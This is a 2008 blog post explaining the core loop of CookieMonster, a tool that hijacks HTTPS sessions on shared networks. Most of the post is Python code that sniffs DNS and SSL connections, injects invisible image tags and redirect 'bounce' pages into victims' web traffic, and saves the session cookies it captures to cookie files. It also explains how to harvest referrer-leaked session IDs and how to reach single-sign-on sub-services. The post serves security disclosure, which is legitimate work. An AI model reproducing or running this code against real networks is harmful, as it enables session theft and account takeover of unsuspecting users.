CookieMonster Core Logic, Configuration, and READMEs Submitted by mikeperry on Tue, 09/09/2008 – 00:12
|
This post describes the core logic of CookieMonster in more precise
terms than the previous overview post. The hope is to drive home
exactly how the tool functions, and to underscore that source code
counts as speech in this capacity (and in general). In addition, the
README that illustrates how the tool is used, and a README describing a “Quick Start” Live CD method for Mac
and Windows users who do not have Linux installs are now available. Finally, an example configuration file for the tool is now
posted as well. These should hopefully give a clearer picture of how the tool works and how it can be used.
The most crucial aspect of this sort of attack that most people seem to
miss is its ability to cull arbitrary cookies for a list of insecure
domains from every client IP on a network even when the user is not
using those sites at the time. The second most crucial aspect is how
the tool is still able to compromise arbitrary insecure SSL sites in
the common case without the need to provide such a target list.
To better illustrate these processes, the core logic loop of the tool follows below. Some basic corner cases (such as tracking HTTP data across multiple packets, exception handling, and log messages) have been removed for brevity and clarity, but the functionality is the same.
As you can see, the core loop has 3 main sections covering the
5 stages from the
previous post. First, we obtain DNS responses and cache them. Then,
when we see SSL connections, we look up the destination IP in this DNS
table, and add it to the list of targets for the IP. Then, when any
arbitrary web request comes in to port 80, we hijack it, and inject
images for all of these cached targets, in addition to a list of
targets provided in the configuration file. On subsequent requests for
these images (which contain our desired cookies), we record these
transmitted cookies to our Firefox 2.0 or 3.0 compatible cookies
files.
The source code below provides further, more precise commentary on
this process:
# Stage 1: Capture DNS responses
if pkt.data.data.sport == 53: # DNS port
dns_table.store(dpkt.dns.DNS(pkt.data.data.data))
# Stage 2 and 3: Add ssl connections to target list
elif pkt.data.data.dport == 443: # SSL Connection port
# Only care about very first tcp packet (syn)
if pkt.data.data.flags & dpkt.tcp.TH_SYN
and not pkt.data.data.flags & dpkt.tcp.TH_ACK:
client_ip = socket.inet_ntoa(pkt.data.src)
host = dns_table.lookup(pkt.data.dst)
if host:
tgt_table.add_target(client_ip, host)
# Stage 4 and 5: Perform injection and record cookies
elif pkt.data.data.dport == 80: # Web connection port
client_ip = socket.inet_ntoa(pkt.data.src)
# Simplification: In the actual tool, we track HTTP
# requests across multiple fragments
req = dpkt.http.Request(pkt.data.data.data)
if "host" in req.headers: host = req.headers["host"]
else: continue
# Log referrers to capture "secure" GET-based session IDs
# that leak as the user navigates from SSL to non-SSL
if get_referer and "referer" in req.headers:
referer = req.headers["referer"]
for r in LOG_REFERERS_WITH:
if r in referer:
log_referer(client_ip, referer)
# If we haven't seen this client before, initialize with
# default target set
if not tgt_table.is_target(client_ip):
tgt_table.add_target(client_ip)
if "user-agent" in req.headers:
user_agent = req.headers["user-agent"]
else:
user_agent = ""
# Check to see if we have any targets available for this
# client_ip and if this GET is for a content element
# that will support html injection.
if tgt_table.is_pwnable(client_ip)
and not tgt_table.is_target_host(client_ip, host)
and not tgt_table.is_pwnt(client_ip, host):
# Check accept types for html (Avoid xml, rss, img, etc)
if "accept" in req.headers and
"text/html" in req.headers["accept"] or
"MSIE" in user_agent:
# Only inject if this is a fresh page load
if aggressive_inject or "referer" not in req.headers:
do_inject(tx, raw_pkt, client_ip, tgt_table, is_wep,
wep_key, "referer" not in req.headers)
continue
# We should mark them at this point because for secure
# SSL sites we will get no cookies
tgt_table.mark_pwnt(client_ip, host)
cookies = 0
if "cookie" in req.headers: cookies = req.headers["cookie"]
if cookies and host:
cookie_list = cookies.split(";")
# Record the user agent
if get_uagent and user_agent:
if client_ip not in recorded_agents
or recorded_agents[client_ip] != user_agent:
recorded_agents[client_ip] = user_agent
f = file("./cookies/uagent.log", "a+")
f.write(client_ip+": "+user_agent+"n")
f.close()
cookie_jars.write_cookies(client_ip, host, cookie_list)
The following function describes how the HTML is built from template
variables for injection:
INJECT_PAGE_HEAD = '<html><head><meta http-equiv="refresh"
content="1;"></head><body bgcolor=white fgcolor=white>'
INJECT_PAGE_TAIL = '</body></html>'
INJECT_TAG_HEAD = '<img width="1" height="1" src="http://'
INJECT_TAG_TAIL = '/">'
def build_inject_data(ip, targets):
# Do Image injection
ret = INJECT_PAGE_HEAD
for h in targets.enum_targets(ip):
if targets.count_attempts(ip, h) > MAX_ATTEMPTS:
targets.mark_pwnt(ip, h)
if h not in COMMON_PATHS:
ret += INJECT_TAG_HEAD+h+INJECT_TAG_TAIL
else:
for p in COMMON_PATHS[h]:
ret += INJECT_TAG_HEAD+h+p+INJECT_TAG_TAIL
ret += INJECT_PAGE_TAIL+"rn"
ret = INJECT_HTTP_HEADER+str(len(ret))+"rnrn"+ret
return ret
A similar piece of code describes generating html for a full redirect
“bounce” attack, which is used for gathering cookies from “secure”
sites that will generate insecure versions of cookies when you visit
their http urls. The same technique can also be used for
single-signon systems that will automatically generate insecure
authentication cookies for any sub-service that a user “visits” after
they are logged in to the main signon engine. This common flaw allows
an attacker to gain acces to arbitrary sub-services of the
single-signon domain.
BOUNCE_PAGE_HEAD = '<html><head><meta http-equiv="refresh"
content="0; URL=http://'
BOUNCE_PAGE_TAIL = '/"></head><body bgcolor="white"
fgcolor="white"></body></html>'
def build_bounce_data(ip):
for h in targets.enum_targets(ip):
if h in FULL_BOUNCE_FOR:
ret = BOUNCE_PAGE_HEAD
if targets.count_attempts(ip, h) > MAX_ATTEMPTS:
targets.mark_pwnt(ip, h)
if h not in COMMON_PATHS:
ret += "http://"+h
else:
ret += h+COMMON_PATHS[h][0]
ret += BOUNCE_PAGE_TAIL+"rn"
ret = INJECT_HTTP_HEADER+str(len(ret))+"rnrn"+ret
return ret
return 0
At a future date, this post will be updated with a link to the human-readable source code for the tool for further clarification.
Post new comment